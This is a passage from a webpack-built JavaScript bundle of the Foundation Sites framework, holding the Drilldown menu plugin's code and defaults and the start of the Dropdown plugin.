Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } }\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, \"prototype\", { writable: false }); return Constructor; }\nfunction _toPropertyKey(arg) { var key = _toPrimitive(arg, \"string\");
525 return _typeof(key) === \"symbol\" ? key : String(key); }\nfunction _toPrimitive(input, hint) { if (_typeof(input) !== \"object\" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || \"default\"); if (_typeof(res) !== \"object\") return res; throw new TypeError(\"@@toPrimitive must return a primitive value.\"); } return (hint === \"string\" ? String : Number)(input); }\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); Object.defineProperty(subClass, \"prototype\", { writable: false }); if (superClass) _setPrototypeOf(subClass, superClass); }\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\nfunction _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } else if (call !== void 0) { throw new TypeError(\"Derived constructors may only return object or undefined\"); } return _assertThisInitialized(self); }\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\nfunction _isNativeReflectConstruct() { if (typeof Reflect === \"undefined\" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === \"function\") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } }\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\n\n\n\n\n\n\n/**\n * Drilldown module.\n * @module foundation.drilldown\n * @requires foundation.util.keyboard\n * @requires foundation.util.nest\n * @requires foundation.util.box\n */\nvar Drilldown = /*#__PURE__*/function (_Plugin) {\n  _inherits(Drilldown, _Plugin);\n  var _super = _createSuper(Drilldown);\n  function Drilldown() {\n    _classCallCheck(this, Drilldown);\n    return _super.apply(this, arguments);\n  }\n  _createClass(Drilldown, [{\n    key: \"_setup\",\n    value:\n    /**\n     * Creates a new instance of a drilldown menu.\n     * @class\n     * @name Drilldown\n     * @param {jQuery} element - jQuery object to make into an accordion menu.\n     * @param {Object} options - Overrides to the default plugin settings.\n     */\n    function _setup(element, options) {\n      this.$element = element;\n      this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default().extend({}, Drilldown.defaults, this.$element.data(), options);\n      this.className = 'Drilldown'; // ie9 back compat\n\n      this._init();\n      _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__.Keyboard.register('Drilldown', {\n        'ENTER': 'open',\n        'SPACE': 'open',\n        'ARROW_RIGHT': 'next',\n        'ARROW_UP': 'up',\n        'ARROW_DOWN': 'down',\n        'ARROW_LEFT': 'previous',\n        'ESCAPE': 'close'\n      });\n    }\n\n    /**\n     * Initializes the drilldown by creating jQuery collections of elements\n     * @private\n     */\n  }, {\n    key: \"_init\",\n    value: function _init() {\n      _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__.Nest.Feather(this.$element, 'drilldown');\n      if (this.options.autoApplyClass) {\n        this.$element.addClass('drilldown');\n      }\n      this.$element.attr({\n        'aria-multiselectable': false\n      });\n      this.$submenuAnchors = this.$element.find('li.is-drilldown-submenu-parent').children('a');\n      this.$submenus = this.$submenuAnchors.parent('li').children('[data-submenu]').attr('role', 'group');\n      this.$menuItems = this.$element.find('li').not('.js-drilldown-back').find('a');\n\n      // Set the main menu as current by default (unless a submenu is selected)\n      // Used to set the wrapper height when the drilldown is closed/reopened from any (sub)menu\n      this.$currentMenu = this.$element;\n      this.$element.attr('data-mutate', this.$element.attr('data-drilldown') || (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__.GetYoDigits)(6, 'drilldown'));\n      this._prepareMenu();\n      this._registerEvents();\n      this._keyboardEvents();\n    }\n\n    /**\n     * prepares drilldown menu by setting attributes to links and elements\n     * sets a min height to prevent content jumping\n     * wraps the element if not already wrapped\n     * @private\n     * @function\n     */\n  }, {\n    key: \"_prepareMenu\",\n    value: function _prepareMenu() {\n      var _this = this;\n      // if(!this.options.holdOpen){\n      //   this._menuLinkEvents();\n      // }\n      this.$submenuAnchors.each(function () {\n        var $link = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n        var $sub = $link.parent();\n        if (_this.options.parentLink) {\n          $link.clone().prependTo($sub.children('[data-submenu]')).wrap('<li data-is-parent-link class=\"is-submenu-parent-item is-submenu-item is-drilldown-submenu-item\" role=\"none\"></li>');\n        }\n        $link.data('savedHref', $link.attr('href')).removeAttr('href').attr('tabindex', 0);\n        $link.children('[data-submenu]').attr({\n          'aria-hidden': true,\n          'tabindex': 0,\n          'role': 'group'\n        });\n        _this._events($link);\n      });\n      this.$submenus.each(function () {\n        var $menu = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n          $back = $menu.find('.js-drilldown-back');\n        if (!$back.length) {\n          switch (_this.options.backButtonPosition) {\n            case \"bottom\":\n              $menu.append(_this.options.backButton);\n              break;\n            case \"top\":\n              $menu.prepend(_this.options.backButton);\n              break;\n            default:\n              console.error(\"Unsupported backButtonPosition value '\" + _this.options.backButtonPosition + \"'\");\n          }\n        }\n        _this._back($menu);\n      });\n      this.$submenus.addClass('invisible');\n      if (!this.options.autoHeight) {\n        this.$submenus.addClass('drilldown-submenu-cover-previous');\n      }\n\n      // create a wrapper on element if it doesn't exist.\n      if (!this.$element.parent().hasClass('is-drilldown')) {\n        this.$wrapper = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.wrapper).addClass('is-drilldown');\n        if (this.options.animateHeight) this.$wrapper.addClass('animate-height');\n        this.$element.wrap(this.$wrapper);\n      }\n      // set wrapper\n      this.$wrapper = this.$element.parent();\n      this.$wrapper.css(this._getMaxDims());\n    }\n  }, {\n    key: \"_resize\",\n    value: function _resize() {\n      this.$wrapper.css({\n        'max-width': 'none',\n        'min-height': 'none'\n      });\n      // _getMaxDims has side effects (boo) but calling it should update all other necessary heights & widths\n      this.$wrapper.css(this._getMaxDims());\n    }\n\n    /**\n     * Adds event handlers to elements in the menu.\n     * @function\n     * @private\n     * @param {jQuery} $elem - the current menu item to add handlers to.\n     */\n  }, {\n    key: \"_events\",\n    value: function _events($elem) {\n      var _this = this;\n      $elem.off('click.zf.drilldown').on('click.zf.drilldown', function (e) {\n        if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).parentsUntil('ul', 'li').hasClass('is-drilldown-submenu-parent')) {\n          e.preventDefault();\n        }\n\n        // if(e.target !== e.currentTarget.firstElementChild){\n        //   return false;\n        // }\n        _this._show($elem.parent('li'));
525\n        if (_this.options.closeOnClick) {\n          var $body = jquery__WEBPACK_IMPORTED_MODULE_0___default()('body');\n          $body.off('.zf.drilldown').on('click.zf.drilldown', function (ev) {\n            if (ev.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default().contains(_this.$element[0], ev.target)) {\n              return;\n            }\n            ev.preventDefault();\n            _this._hideAll();\n            $body.off('.zf.drilldown');\n          });\n        }\n      });\n    }\n\n    /**\n     * Adds event handlers to the menu element.\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_registerEvents\",\n    value: function _registerEvents() {\n      if (this.options.scrollTop) {\n        this._bindHandler = this._scrollTop.bind(this);\n        this.$element.on('open.zf.drilldown hide.zf.drilldown close.zf.drilldown closed.zf.drilldown', this._bindHandler);\n      }\n      this.$element.on('mutateme.zf.trigger', this._resize.bind(this));\n    }\n\n    /**\n     * Scroll to Top of Element or data-scroll-top-element\n     * @function\n     * @fires Drilldown#scrollme\n     */\n  }, {\n    key: \"_scrollTop\",\n    value: function _scrollTop() {\n      var _this = this;\n      var $scrollTopElement = _this.options.scrollTopElement !== '' ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(_this.options.scrollTopElement) : _this.$element,\n        scrollPos = parseInt($scrollTopElement.offset().top + _this.options.scrollTopOffset, 10);\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()('html, body').stop(true).animate({\n        scrollTop: scrollPos\n      }, _this.options.animationDuration, _this.options.animationEasing, function () {\n        /**\n          * Fires after the menu has scrolled\n          * @event Drilldown#scrollme\n          */\n        if (this === jquery__WEBPACK_IMPORTED_MODULE_0___default()('html')[0]) _this.$element.trigger('scrollme.zf.drilldown');\n      });\n    }\n\n    /**\n     * Adds keydown event listener to `li`'s in the menu.\n     * @private\n     */\n  }, {\n    key: \"_keyboardEvents\",\n    value: function _keyboardEvents() {\n      var _this = this;\n      this.$menuItems.add(this.$element.find('.js-drilldown-back > a, .is-submenu-parent-item > a')).on('keydown.zf.drilldown', function (e) {\n        var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n          $elements = $element.parent('li').parent('ul').children('li').children('a'),\n          $prevElement,\n          $nextElement;\n        $elements.each(function (i) {\n          if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n            $prevElement = $elements.eq(Math.max(0, i - 1));\n            $nextElement = $elements.eq(Math.min(i + 1, $elements.length - 1));\n            return;\n          }\n        });\n        _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__.Keyboard.handleKey(e, 'Drilldown', {\n          next: function next() {\n            if ($element.is(_this.$submenuAnchors)) {\n              _this._show($element.parent('li'));\n              $element.parent('li').one((0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__.transitionend)($element), function () {\n                $element.parent('li').find('ul li a').not('.js-drilldown-back a').first().focus();\n              });\n              return true;\n            }\n          },\n          previous: function previous() {\n            _this._hide($element.parent('li').parent('ul'));\n            $element.parent('li').parent('ul').one((0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__.transitionend)($element), function () {\n              setTimeout(function () {\n                $element.parent('li').parent('ul').parent('li').children('a').first().focus();\n              }, 1);\n            });\n            return true;\n          },\n          up: function up() {\n            $prevElement.focus();\n            // Don't tap focus on first element in root ul\n            return !$element.is(_this.$element.find('> li:first-child > a'));\n          },\n          down: function down() {\n            $nextElement.focus();\n            // Don't tap focus on last element in root ul\n            return !$element.is(_this.$element.find('> li:last-child > a'));\n          },\n          close: function close() {\n            // Don't close on element in root ul\n            if (!$element.is(_this.$element.find('> li > a'))) {\n              _this._hide($element.parent().parent());\n              $element.parent().parent().siblings('a').focus();\n            }\n          },\n          open: function open() {\n            if (_this.options.parentLink && $element.attr('href')) {\n              // Link with href\n              return false;\n            } else if (!$element.is(_this.$menuItems)) {\n              // not menu item means back button\n              _this._hide($element.parent('li').parent('ul'));\n              $element.parent('li').parent('ul').one((0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__.transitionend)($element), function () {\n                setTimeout(function () {\n                  $element.parent('li').parent('ul').parent('li').children('a').first().focus();\n                }, 1);\n              });\n              return true;\n            } else if ($element.is(_this.$submenuAnchors)) {\n              // Sub menu item\n              _this._show($element.parent('li'));\n              $element.parent('li').one((0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__.transitionend)($element), function () {\n                $element.parent('li').find('ul li a').not('.js-drilldown-back a').first().focus();\n              });\n              return true;\n            }\n          },\n          handled: function handled(preventDefault) {\n            if (preventDefault) {\n              e.preventDefault();\n            }\n          }\n        });\n      }); // end keyboardAccess\n    }\n\n    /**\n     * Closes all open elements, and returns to root menu.\n     * @function\n     * @fires Drilldown#close\n     * @fires Drilldown#closed\n     */\n  }, {\n    key: \"_hideAll\",\n    value: function _hideAll() {\n      var _this2 = this;\n      var $elem = this.$element.find('.is-drilldown-submenu.is-active');\n      $elem.addClass('is-closing');\n      $elem.parent().closest('ul').removeClass('invisible');\n      if (this.options.autoHeight) {\n        var calcHeight = $elem.parent().closest('ul').data('calcHeight');\n        this.$wrapper.css({\n          height: calcHeight\n        });\n      }\n\n      /**\n       * Fires when the menu is closing.\n       * @event Drilldown#close\n       */\n      this.$element.trigger('close.zf.drilldown');\n      $elem.one((0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__.transitionend)($elem), function () {\n        $elem.removeClass('is-active is-closing');\n\n        /**\n         * Fires when the menu is fully closed.\n         * @event Drilldown#closed\n         */\n        _this2.$element.trigger('closed.zf.drilldown');\n      });\n    }\n\n    /**\n     * Adds event listener for each `back` button, and closes open menus.\n     * @function\n     * @fires Drilldown#back\n     * @param {jQuery} $elem - the current sub-menu to add `back` event.\n     */\n  }, {\n    key: \"_back\",\n    value: function _back($elem) {\n      var _this = this;\n      $elem.off('click.zf.drilldown');\n      $elem.children('.js-drilldown-back').on('click.zf.drilldown', function () {\n        _this._hide($elem);\n\n        // If there is a parent submenu, call show\n        var parentSubMenu = $elem.parent('li').parent('ul').parent('li');\n        if (parentSubMenu.length) {\n          _this._show(parentSubMenu);\n        } else {\n          _this.$currentMenu = _this.$element;\n        }\n      });\n    }\n\n    /**\n     * Adds event listener to menu items w/o submenus to close open menus on click.\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_menuLinkEvents\",\n    value: function _menuLinkEvents() {\n      var _this = this;\n      this.$menuItems.not('.is-drilldown-submenu-parent').off('click.zf.drilldown').on('click.zf.drilldown', function () {\n        setTimeout(function () {\n          _this._hideAll();\n        }, 0);\n      });\n    }\n\n    /**\n     * Sets the CSS classes for submenu to show it.\n     * @function\n     * @private\n     * @param {jQuery} $elem - the target submenu (`ul` tag)\n     * @param {boolean} trigger - trigger drilldown event\n     */\n  }, {\n    key: \"_setShowSubMenuClasses\",\n    value: function _setShowSubMenuClasses($elem, trigger) {\n      $elem.addClass('is-active').removeClass('invisible').attr('aria-hidden', false);\n      $elem.parent('li').attr('aria-expanded', true);\n      if (trigger === true) {\n        this.$element.trigger('open.zf.drilldown', [$elem]);\n      }\n    }\n\n    /**\n     * Sets the CSS classes for submenu to hide it.\n     * @function\n     * @private\n     * @param {jQuery} $elem - the target submenu (`ul` tag)\n     * @param {boolean} trigger - trigger drilldown event\n     */\n  }, {\n    key: \"_setHideSubMenuClasses\",\n    value: function _setHideSubMenuClasses($elem, trigger) {\n      $elem.removeClass('is-active').addClass('invisible').attr('aria-hidden', true);\n      $elem.parent('li').attr('aria-expanded', false);\n      if (trigger === true) {\n        $elem.trigger('hide.zf.drilldown', [$elem]);\n      }\n    }\n\n    /**\n     * Opens a specific drilldown (sub)menu no matter which (sub)menu in 
525it is currently visible.\n     * Compared to _show() this lets you jump into any submenu without clicking through every submenu on the way to it.\n     * @function\n     * @fires Drilldown#open\n     * @param {jQuery} $elem - the target (sub)menu (`ul` tag)\n     * @param {boolean} autoFocus - if true the first link in the target (sub)menu gets auto focused\n     */\n  }, {\n    key: \"_showMenu\",\n    value: function _showMenu($elem, autoFocus) {\n      var _this = this;\n\n      // Reset drilldown\n      var $expandedSubmenus = this.$element.find('li[aria-expanded=\"true\"] > ul[data-submenu]');\n      $expandedSubmenus.each(function () {\n        _this._setHideSubMenuClasses(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this));\n      });\n\n      // Save the menu as the currently displayed one.\n      this.$currentMenu = $elem;\n\n      // If target menu is root, focus first link & exit\n      if ($elem.is('[data-drilldown]')) {\n        if (autoFocus === true) $elem.find('li > a').first().focus();\n        if (this.options.autoHeight) this.$wrapper.css('height', $elem.data('calcHeight'));\n        return;\n      }\n\n      // Find all submenus on way to root incl. the element itself\n      var $submenus = $elem.children().first().parentsUntil('[data-drilldown]', '[data-submenu]');\n\n      // Open target menu and all submenus on its way to root\n      $submenus.each(function (index) {\n        // Update height of first child (target menu) if autoHeight option true\n        if (index === 0 && _this.options.autoHeight) {\n          _this.$wrapper.css('height', jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('calcHeight'));\n        }\n        var isLastChild = index === $submenus.length - 1;\n\n        // Add transitionsend listener to last child (root due to reverse order) to open target menu's first link\n        // Last child makes sure the event gets always triggered even if going through several menus\n        if (isLastChild === true) {\n          jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).one((0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__.transitionend)(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this)), function () {\n            if (autoFocus === true) {\n              $elem.find('li > a').first().focus();\n            }\n          });\n        }\n        _this._setShowSubMenuClasses(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), isLastChild);\n      });\n    }\n\n    /**\n     * Opens a submenu.\n     * @function\n     * @fires Drilldown#open\n     * @param {jQuery} $elem - the current element with a submenu to open, i.e. the `li` tag.\n     */\n  }, {\n    key: \"_show\",\n    value: function _show($elem) {\n      var $submenu = $elem.children('[data-submenu]');\n      $elem.attr('aria-expanded', true);\n      this.$currentMenu = $submenu;\n\n      //hide drilldown parent menu when submenu is open\n      // this removes it from the dom so that the tab key will take the user to the next visible element\n      $elem.parent().closest('ul').addClass('invisible');\n\n      // add visible class to submenu to override invisible class above\n      $submenu.addClass('is-active visible').removeClass('invisible').attr('aria-hidden', false);\n      if (this.options.autoHeight) {\n        this.$wrapper.css({\n          height: $submenu.data('calcHeight')\n        });\n      }\n\n      /**\n       * Fires when the submenu has opened.\n       * @event Drilldown#open\n       */\n      this.$element.trigger('open.zf.drilldown', [$elem]);\n    }\n\n    /**\n     * Hides a submenu\n     * @function\n     * @fires Drilldown#hide\n     * @param {jQuery} $elem - the current sub-menu to hide, i.e. the `ul` tag.\n     */\n  }, {\n    key: \"_hide\",\n    value: function _hide($elem) {\n      if (this.options.autoHeight) this.$wrapper.css({\n        height: $elem.parent().closest('ul').data('calcHeight')\n      });\n      $elem.parent().closest('ul').removeClass('invisible');\n      $elem.parent('li').attr('aria-expanded', false);\n      $elem.attr('aria-hidden', true);\n      $elem.addClass('is-closing').one((0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__.transitionend)($elem), function () {\n        $elem.removeClass('is-active is-closing visible');\n        $elem.blur().addClass('invisible');\n      });\n      /**\n       * Fires when the submenu has closed.\n       * @event Drilldown#hide\n       */\n      $elem.trigger('hide.zf.drilldown', [$elem]);\n    }\n\n    /**\n     * Iterates through the nested menus to calculate the min-height, and max-width for the menu.\n     * Prevents content jumping.\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_getMaxDims\",\n    value: function _getMaxDims() {\n      var maxHeight = 0,\n        result = {},\n        _this = this;\n\n      // Recalculate menu heights and total max height\n      this.$submenus.add(this.$element).each(function () {\n        var height = _foundation_util_box__WEBPACK_IMPORTED_MODULE_4__.Box.GetDimensions(this).height;\n        maxHeight = height > maxHeight ? height : maxHeight;\n        if (_this.options.autoHeight) {\n          jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('calcHeight', height);\n        }\n      });\n      if (this.options.autoHeight) result.height = this.$currentMenu.data('calcHeight');else result['min-height'] = \"\".concat(maxHeight, \"px\");\n      result['max-width'] = \"\".concat(this.$element[0].getBoundingClientRect().width, \"px\");\n      return result;\n    }\n\n    /**\n     * Destroys the Drilldown Menu\n     * @function\n     */\n  }, {\n    key: \"_destroy\",\n    value: function _destroy() {\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()('body').off('.zf.drilldown');\n      if (this.options.scrollTop) this.$element.off('.zf.drilldown', this._bindHandler);\n      this._hideAll();\n      this.$element.off('mutateme.zf.trigger');\n      _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__.Nest.Burn(this.$element, 'drilldown');\n      this.$element.unwrap().find('.js-drilldown-back, .is-submenu-parent-item').remove().end().find('.is-active, .is-closing, .is-drilldown-submenu').removeClass('is-active is-closing is-drilldown-submenu').off('transitionend otransitionend webkitTransitionEnd').end().find('[data-submenu]').removeAttr('aria-hidden tabindex role');\n      this.$submenuAnchors.each(function () {\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).off('.zf.drilldown');\n      });\n      this.$element.find('[data-is-parent-link]').detach();\n      this.$submenus.removeClass('drilldown-submenu-cover-previous invisible');\n      this.$element.find('a').each(function () {\n        var $link = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n        $link.removeAttr('tabindex');\n        if ($link.data('savedHref')) {\n          $link.attr('href', $link.data('savedHref')).removeData('savedHref');\n        } else {\n          return;\n        }\n      });\n    }\n  }]);\n  return Drilldown;\n}
525(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__.Plugin);\nDrilldown.defaults = {\n  /**\n   * Drilldowns depend on styles in order to function properly; in the default build of Foundation these are\n   * on the `drilldown` class. This option auto-applies this class to the drilldown upon initialization.\n   * @option\n   * @type {boolean}\n   * @default true\n   */\n  autoApplyClass: true,\n  /**\n   * Markup used for JS generated back button. Prepended  or appended (see backButtonPosition) to submenu lists and deleted on `destroy` method, 'js-drilldown-back' class required. Remove the backslash (`\\`) if copy and pasting.\n   * @option\n   * @type {string}\n   * @default '<li class=\"js-drilldown-back\"><a tabindex=\"0\">Back</a></li>'\n   */\n  backButton: '<li class=\"js-drilldown-back\"><a tabindex=\"0\">Back</a></li>',\n  /**\n   * Position the back button either at the top or bottom of drilldown submenus. Can be `'left'` or `'bottom'`.\n   * @option\n   * @type {string}\n   * @default top\n   */\n  backButtonPosition: 'top',\n  /**\n   * Markup used to wrap drilldown menu. Use a class name for independent styling; the JS applied class: `is-drilldown` is required. Remove the backslash (`\\`) if copy and pasting.\n   * @option\n   * @type {string}\n   * @default '<div></div>'\n   */\n  wrapper: '<div></div>',\n  /**\n   * Adds the parent link to the submenu.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  parentLink: false,\n  /**\n   * Allow the menu to return to root list on body click.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  closeOnClick: false,\n  /**\n   * Allow the menu to auto adjust height.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  autoHeight: false,\n  /**\n   * Animate the auto adjust height.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  animateHeight: false,\n  /**\n   * Scroll to the top of the menu after opening a submenu or navigating back using the menu back button\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  scrollTop: false,\n  /**\n   * String jquery selector (for example 'body') of element to take offset().top from, if empty string the drilldown menu offset().top is taken\n   * @option\n   * @type {string}\n   * @default ''\n   */\n  scrollTopElement: '',\n  /**\n   * ScrollTop offset\n   * @option\n   * @type {number}\n   * @default 0\n   */\n  scrollTopOffset: 0,\n  /**\n   * Scroll animation duration\n   * @option\n   * @type {number}\n   * @default 500\n   */\n  animationDuration: 500,\n  /**\n   * Scroll animation easing. Can be `'swing'` or `'linear'`.\n   * @option\n   * @type {string}\n   * @see {@link https://api.jquery.com/animate|JQuery animate}\n   * @default 'swing'\n   */\n  animationEasing: 'swing'\n  // holdOpen: false\n};\n\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.drilldown.js?")},"./js/foundation.dropdown.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   Dropdown: function() { return /* binding */ Dropdown; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_positionable__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.positionable */ \"./js/foundation.positionable.js\");\n/* harmony import */ var _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.triggers */ \"./js/foundation.util.triggers.js\");\n/* harmony import */ var _foundation_util_touch__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.util.touch */ \"./js/foundation.util.touch.js\");\nfunction _typeof(obj) { \"@babel/helpers - typeof\"; return _typeof = \"function\" == typeof Symbol && \"symbol\" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && \"function\" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }, _typeof(obj); }\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } }\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, \"prototype\", { writable: false }); return Constructor; }\nfunction _toPropertyKey(arg) { var key = _toPrimitive(arg, \"string\");
525 return _typeof(key) === \"symbol\" ? key : String(key); }\nfunction _toPrimitive(input, hint) { if (_typeof(input) !== \"object\" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || \"default\"); if (_typeof(res) !== \"object\") return res; throw new TypeError(\"@@toPrimitive must return a primitive value.\"); } return (hint === \"string\" ? String : Number)(input); }\nfunction _get() { if (typeof Reflect !== \"undefined\" && Reflect.get) { _get = Reflect.get.bind(); } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(arguments.length < 3 ? target : receiver); } return desc.value; }; } return _get.apply(this, arguments); }\nfunction _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; }\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); Object.defineProperty(subClass, \"prototype\", { writable: false }); if (superClass) _setPrototypeOf(subClass, superClass); }\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\nfunction _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } else if (call !== void 0) { throw new TypeError(\"Derived constructors may only return object or undefined\"); } return _assertThisInitialized(self); }\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\nfunction _isNativeReflectConstruct() { if (typeof Reflect === \"undefined\" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === \"function\") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } }\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\n\n\n\n\n\n\n/**\n * Dropdown module.\n * @module foundation.dropdown\n * @requires foundation.util.keyboard\n * @requires foundation.util.box\n * @requires foundation.util.touch\n * @requires foundation.util.triggers\n */\nvar Dropdown = /*#__PURE__*/function (_Positionable) {\n  _inherits(Dropdown, _Positionable);\n  var _super = _createSuper(Dropdown);\n  function Dropdown() {\n    _classCallCheck(this, Dropdown);\n    return _super.apply(this, arguments);\n  }\n  _createClass(Dropdown, [{\n    key: \"_setup\",\n    value:\n    /**\n     * Creates a new instance of a dropdown.\n     * @class\n     * @name Dropdown\n     * @param {jQuery} element - jQuery object to make into a dropdown.\n     *        Object should be of the dropdown panel, rather than its anchor.\n     * @param {Object} options - Overrides to the default plugin settings.\n     */\n    function _setup(element, options) {\n      this.$element = element;\n      this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default().extend({}, Dropdown.defaults, this.$element.data(), options);\n      this.className = 'Dropdown'; // ie9 back 